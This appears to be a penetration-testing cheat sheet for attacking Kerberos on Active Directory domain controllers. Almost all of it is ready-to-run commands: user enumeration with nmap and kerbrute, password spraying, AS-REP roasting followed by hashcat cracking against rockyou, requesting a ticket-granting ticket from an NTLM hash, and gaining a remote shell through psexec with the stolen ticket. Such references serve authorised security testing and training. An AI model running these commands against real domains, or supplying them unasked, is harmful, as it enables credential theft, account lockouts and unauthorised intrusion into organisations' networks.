Skip to main content

88 kerberos

Kerberos Enumeration (88)
#

Sync time with the DC
#

sudo ntpdate $DOMAIN

Run nmap Kerberos scripts
#

nmap -p 88 --script=krb5-enum-users,krb5-realm $IP

Enumerate usernames only if you need a user list and no lower-noise source exists
#

kerbrute userenum -d $DOMAIN --dc $IP /usr/share/wordlists/seclists/Usernames/Names/names.txt

Password spray only after lockout and replay checks
#

kerbrute passwordspray -d $DOMAIN --dc $IP users.txt 'Password123!'

No-creds AS-REP roast
#

impacket-GetNPUsers "$DOMAIN"/ -dc-ip $IP -usersfile users.txt -request -format hashcat -outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Request TGT with NTLM hash
#

impacket-getTGT "$DOMAIN"/username -hashes :ntlm_hash

Use a Kerberos ticket with Impacket
#

export KRB5CCNAME=username.ccache
impacket-psexec "$DOMAIN"/username@"target.$DOMAIN" -k -no-pass